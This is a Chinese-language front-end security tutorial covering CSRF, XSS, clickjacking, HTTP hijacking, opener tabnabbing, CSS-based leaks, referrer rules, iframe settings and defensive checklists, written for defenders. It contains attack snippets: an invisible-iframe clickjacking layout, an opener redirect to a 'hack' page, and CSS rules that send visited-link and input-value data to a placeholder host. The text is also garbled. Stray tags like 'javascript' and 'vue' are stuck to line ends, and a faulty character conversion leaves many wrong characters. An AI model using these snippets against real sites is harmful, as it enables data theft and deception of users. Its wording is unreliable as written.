前端發展至今, 從最初前端簡單的頁面切圖到如今承擔愈來愈重要的職責, 前端安全一直存在而且日益重要。
算算作了這麼些年前端,真正關心安全問題的時候少之又少, 不少時候被安所有門追着跑: "xx, 快,有個漏洞補一補"!javascript
今天咱們主要經過了解-攻擊-防護幾部分對主要的攻擊方法作相應的瞭解, 不求作最鋒利的矛,但求作不斷增強的盾!demosphp
注: csrf,就像一個小偷, 借用了你的鑰匙,打開了你家的保險箱,若是沒有二次防護手段, 那就gameover啦css
1). 攻擊者爲三方的網站html
2). 攻擊者實際利用的是用戶已經在被攻擊網站保存的受權信息, 如上圖中的login session前端
3). 用戶的實際受權憑證不會被盜取, 只是被借用了vue
4). 攻擊方式多樣, 只要能夠發起請求就能實施相應的攻擊,如上圖form表單、圖片等等java
1). 上圖中,經過form表單、img圖片加載的方式發起http請求 demonode
2). 經過ajax請求, 跨域調用能夠加上withCredentials,用於帶上被攻擊站點的cookiejquery
1). 篡改用戶在被攻擊站點的數據webpack
2). 盜取用戶隱私數據
1). 因爲攻擊來源於三方
能夠判斷請求來源refferer, 加refferer白名單
缺點: 跨過refferer的方式不少, 不能所有有效攔截
2). 加csrf-token, 這是主流的解決方案
I. 後端維護csrf token, 進入頁面時獲取最新token, 提交表單時驗證
II. js維護一個cookie中的超短時token,接口在接受到數據時校驗 demo
1). 目標表單是否帶有token驗證
2). 是否有驗證碼
3). 是否判斷了referer
4). allow-access 相關參數設置是否有漏洞
5). 目標jsonp數據是否能夠自定義callback
Cross-site scripting,跨站腳本攻擊, 相對於csrf, 他的逼格就上升了一個檔次,由於他能夠盜取到用戶的鑑權信息, 而後隨意執行操做
1). 利用代碼漏洞進行攻擊
2). 一旦被攻擊,就可能致使用戶憑證被盜取
3). 存儲型XSS會影響全站安全
1). 經過query string參數解析的漏洞, 插入非法代碼 demo
注: 短地址來助攻
2). 經過評論、論壇等用戶輸入入口,輸入非法代碼
1). 掛載木馬
2). 盜取用戶cookie
3). 釣魚攻擊
4).劫持用戶行爲
1). htmlEncode
2). javascriptEncode
3). cookie安全 httpOnly
html和js自解碼機制,以下表, demo
編碼/運行環境 | 方式 | html | javascript |
---|---|---|---|
HTMLEncode後的字符 | - | - | - |
- | 使用特殊字符轉義 | 會 | 不會 |
- | 使用htmlnode轉義 | 會 | 不會 |
- | 使用unicode轉義 | 會 | 不會 |
JavaScriptEncode後的字符 | - | - | - |
- | 使用unicode轉義 | 不會 | 會 |
- | 使用\轉義 | 會 | 會 |
用戶界面矯正攻擊(UI矯正攻擊,UI矯正)是一種惡意技術,基於視覺欺騙的web會話劫持攻擊
1). 實際攻擊來源於第三方網站
2). 用戶在不知情的狀況下,被欺騙點擊,觸發了某個操做
頁面操做劫持技術的基本原理, 是是在用戶可見頁面上 覆蓋了一個不可見的框 。 通常是一個透明的iframe
.click-iframe{ position: relative; } .click-iframe iframe { position: absolute; border: 0; top:-50px; left:0; opacity: 0; /** 將iframe 隱藏 **/ } 複製代碼
<div class="click-iframe"> <button> 抽獎啦 </button> <iframe src="http://localhost:3000/static/clickIframe.html"> </iframe> </div> 複製代碼
利用頁面拖拽功能, 將被攻擊頁面做爲拖拽對象,demo 拖動放置在一個輸入框中, 從而取到被攻擊站點的網站源碼
a). 在評論或論壇頁面, 經過插入一個圖片, 設置position爲absolute覆蓋到頁面到任意位置,假裝成網站的原有代碼,從而誘使用戶訪問釣魚網站。(demo待完善)
1). 誘導用戶訪問釣魚網站
2). 竊取用戶信息
1). 對於點擊劫持類的, 能夠經過限制iframe嵌入完成
2). 對於文本數據庫的,要對css進行過濾
1). http響應頭是否設置了X-Frame-options 或者 是否有js攔截iframe嵌入(有缺陷)
2). 使用iframe嵌入驗證
http劫持是很是常見的,表現狀況就是, 你的站點被掛載了其餘的內容,廣告或者其餘惡意代碼
一些小運營商或者中間商,會請求過程當中對源碼進行修改,加入了惡意代碼, 因爲突破了同源策略, 惡意代碼拿到了大部分web權限
https劫持,明顯難度更大, 例如咱們開發經常使用的抓包工具charles,就能夠設置https代理,從而拿到請求的明文代碼
1). 通常狀況下, 劫持的代碼會經過document.write來寫入其餘的圖片、js、css代碼,咱們能夠經過從新document.write來限制這種狀況 demo
var _write = document.write, _white_list = { '127.0.0.1:8081': 1, }, _RE_SCRIPTS = /<(script|img|iframe).*?src\=["']?([^"'\s>]+)/ig, _RE_DOMAIN = /(.+?)\.([^\/]+).+/; function sendTJ() { console.log("被攻擊啦:",arguments) } document.write = function(str) { try { var s, safes = [], unknows = []; console.log(_RE_SCRIPTS) while(s = _RE_SCRIPTS.exec(str)) { console.log(s) if(_white_list[(_RE_DOMAIN.exec(s) || [])[2]]) { safes.push(s); } else { unknows.push(s); } } if(unknows.length > 0) { sendTJ([unknows[0], safes[0] || ""].join("~_~"), location.href); } try { _write.call(this, str); } catch(ex) { _write(str); } } catch(ex) { sendTJ(ex.name + ":" + ex.message, location.href); } }; 複製代碼
若是攻擊不是利用這種方式, 則沒法攔截
2). 利用mutationObserver對dom節點監控,若是發現非白名單的標籤,進行移除 demo
var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; var whiteListForCSP = [ 'http(s)?:\/\/(.)+.xxx.com', 'http(s)?:\/\/hm.baidu.com', 'http(s)?:\/\/res.wx.qq.com' ] // Mutation 觀察者對象能監聽在某個範圍內的 DOM 樹變化 if(MutationObserver) { var observer = new MutationObserver(function(mutations) { mutations.forEach(function(mutation) { // 返回被添加的節點,或者爲null. var nodes = mutation.addedNodes; for (var i = 0; i < nodes.length; i++) { var node = nodes[i]; var tagName = node.tagName && node.tagName.toLowerCase() if ((tagName === "script" || tagName === "iframe" || tagName === "img" || tagName === "link") && node.src && (node.src.indexOf(window.location.protocol+"://"+window.location.hostname) !=0 && !new RegExp("^("+whiteListForCSP.join(")|(")+")").test(node.src))) { try { node.parentNode.removeChild(node); console.log('攔截非白名單文件:', node.src); } catch (e) {} } } }) }) } // 傳入目標節點和觀察選項 observer.observe(document, { subtree: true, childList: true }); 複製代碼
這種方案缺陷也很明顯, 那就是http劫持插入的代碼每每在第一行, 同步加載的代碼已經被執行了,並不能作到百分百攔截
3). CSP方案
CSP攔截能夠作到很細緻(demo)
屬性 | 值 | 描述 |
---|---|---|
child-src | 參見值列表 | 限制爲 web workers 和其餘內嵌瀏覽器內容iframe的源地址 |
font-src | 限制字體文件 | |
frame-src | 設置容許經過相似<frame>和<iframe>標籤加載的內嵌內容的源地址 | |
img-src | 限制圖片和圖標的源地址 | |
media-src | 限制經過<audio>、<video>或<track>標籤加載的媒體文件的源地址 | |
object-src | 限制<object>、<embed>、<applet>標籤的源地址 | |
prefetch-src | 指定預加載或預渲染的容許源地址 | |
script-src | 限制JavaScript的源地址 | |
style-src | 限制層疊樣式表文件源 | |
worker-src | 限制Worker、SharedWorker或者ServiceWorker腳本源 |
值 | 描述 | demo |
---|---|---|
host | 域名或ip地址或含通配符* | http://*.example.com/store.example.com |
schema | http:或https:或data: | |
'self' | 必須包含',資源須要和源站的同樣的url schame和端口 | |
'unsafe-inline' | 是否允許使用內聯資源,script或者style或者JavaScript:類型的url | |
'unsafe-eval' | 是否可以使用eval | |
'none' |
原理:利用a標籤打開的新窗口會帶有一個window.opener對象,指向的是原窗口的window對象
該對象因爲同源策略限制,沒法讀取和操做dom,可是window.opener.location對象卻可寫
<!-- a頁面 --> <a href="http://127.0.0.1:8081/opener2.html" target="_blank">diff origin url2</a> <!-- b 頁面 --> <script> alert("訪問opener2") if(window.opener) { if(window.opener.location) { window.opener.location = "http://127.0.0.1:8081/hack.html" } else { alert("沒有合適的opener屬性") } } else { alert("沒有opener對象") } </script> <!-- hack --> <h3>哈哈哈, 你被攻擊啦</h3> 複製代碼
此處沒有詳細測試css相關攻擊方法,只對css存在過或者可能存在的攻擊點作描述
a. css 容錯性很強, 能夠經過加{} 對css字符合法化
b. css資源加載類屬性執行javascript(大部分瀏覽器已攔截該操做)
body { backgroud-image:url('javascipt:alert(1)') } 複製代碼
c. ie下的expression能夠執行js代碼
d. 利用一些特殊屬性
a:visited, css history,能夠對訪問過的連接,發送一個請求到特定地址 【已被瀏覽器修補】
#a1:visited{ background: url(http://xxx.com/css/dosave?data=a1) } 複製代碼
屬性選擇器
input[value^="x"] {background: url(xxx)} 複製代碼
源站 | 訪問站 | 是否可讀取 | 注 |
---|---|---|---|
https | http | false | - |
無 | http/https | false | - |
無/任意來源 | js/css/img/ajax | true | 站內資源訪問referer爲訪問站點 |
http | http | true | - |
https | https | true | - |
file/data | http | false | 來源頁是本地文件或者data Url |
Referrer-Policy | 任意 | true/false | 按referrer-policy的屬性決定 |
rel=noreferrer | 任意 | 無 |
referrer-policy值
值 | 含義 |
---|---|
no-referrer | 不發送 |
no-referrer-when-downgrade | 降級不發送,https嵌入 http時不發送 |
origin | 只發送scheme+host+port |
origin-when-cross-origin | 跨域請求中只包含origin信息 |
same-origin | 只在同源下發送 |
strict-origin | 須要相同的協議安全等級下發送 如https嵌入http時就不發送 |
unsafe-url | 始終發送 |
如今的主流瀏覽器都提供了記住密碼的功能,這個功能很強大,能夠幫助咱們減小記錄密碼的負擔, 可是稍有不慎就會發現更危險的事情。
當包含密碼項的表單被渲染時, 瀏覽器就會將明文記錄的密碼填充到對應的密碼項, 咱們可使用dom操做的方式獲取到密碼的明文
注: 攻擊依賴xss
防護方式:
xss防護
儘可能減小密碼錶單域或其它隱私數據表單域的自動填充
利用輸入框的自動填充屬性
autocomplete = off | new-password
複製代碼
iframe是web安全中致使問題最多的標籤之一, 瞭解iframe及其機制,有助於咱們採起合適的防護機制
一些安全相關屬性 demo
屬性 | 值 | 描述 |
---|---|---|
csp | iframe.csp=參考csp屬性和值 | 用於設置iframe的內容安全策略 |
referrerpolicy | 參考referrer-policy | 用於指定獲取iframe資源時的referrer |
sandbox | 建立一個沙箱環境, 並經過指定對應屬性來控制 |
防護措施
x-frame-options 設置iframe嵌入規則
js控制iframe嵌入規則
1). domain 能夠設置爲當前域或者父級域或者根域
包含用戶代理可用於驗證已提取資源是否已無心外操做的內聯元數據。參見 Subresource Integrity。
包安全檢測, npm的盛行給前端開發中帶來了福音,同時也埋入了安全隱患, 當咱們輕鬆引入大量工具包時,有沒有關注過該插件是否有安全隱患呢
npm-check --help
複製代碼
整理兩個表格,以幫助你們自檢
類目 | 類型 | 描述 | 案例 |
---|---|---|---|
輸入框 | xss | 對輸入數據用戶展現的輸入框是否有xss過濾 | 用戶名輸入框被輸入了非法代碼,同時在前端展現了時錯誤執行了該代碼 |
url | xss | 是否有直接讀取url中的內容渲染到html的狀況 | vue v-html,jquery html()等 |
url | 任意url跳轉 | 登陸以後通常會有個nextUrl,若是使用了query維護,則可能跳到釣魚網站 | - |
cookie | csrf | 重要信息是否使用httpOnly | 如登陸的session,key等 |
form/ajax | csrf | 檢查是否有token | - |
upload | xss | 是否有對文件上傳作類型限制 | - |
類型 | 防護方式 | demo |
---|---|---|
CSRF | csrf token | - |
- | js token | demo |
- | 驗證碼防護 | |
XSS | htmlEncode/JavascriptEncode | utils |
- | X-XSS-Protection | 頭部默認開啓的防護措施 |
- | cookie httponly | |
- | CSP | |
- | 輸入內容長度限制 | |
界面劫持 | X-Frame-Options | deny/sameorigin |
- | js 攔截iframe | |
- | 對iframe嵌入地址作簽名 |
blogs.msdn.microsoft.com/ie/2008/07/…
mathiasbynens.github.io/rel-noopene…
infosec.mozilla.org/guidelines/…
developer.mozilla.org/zh-CN/docs/…
書籍《web黑客揭祕》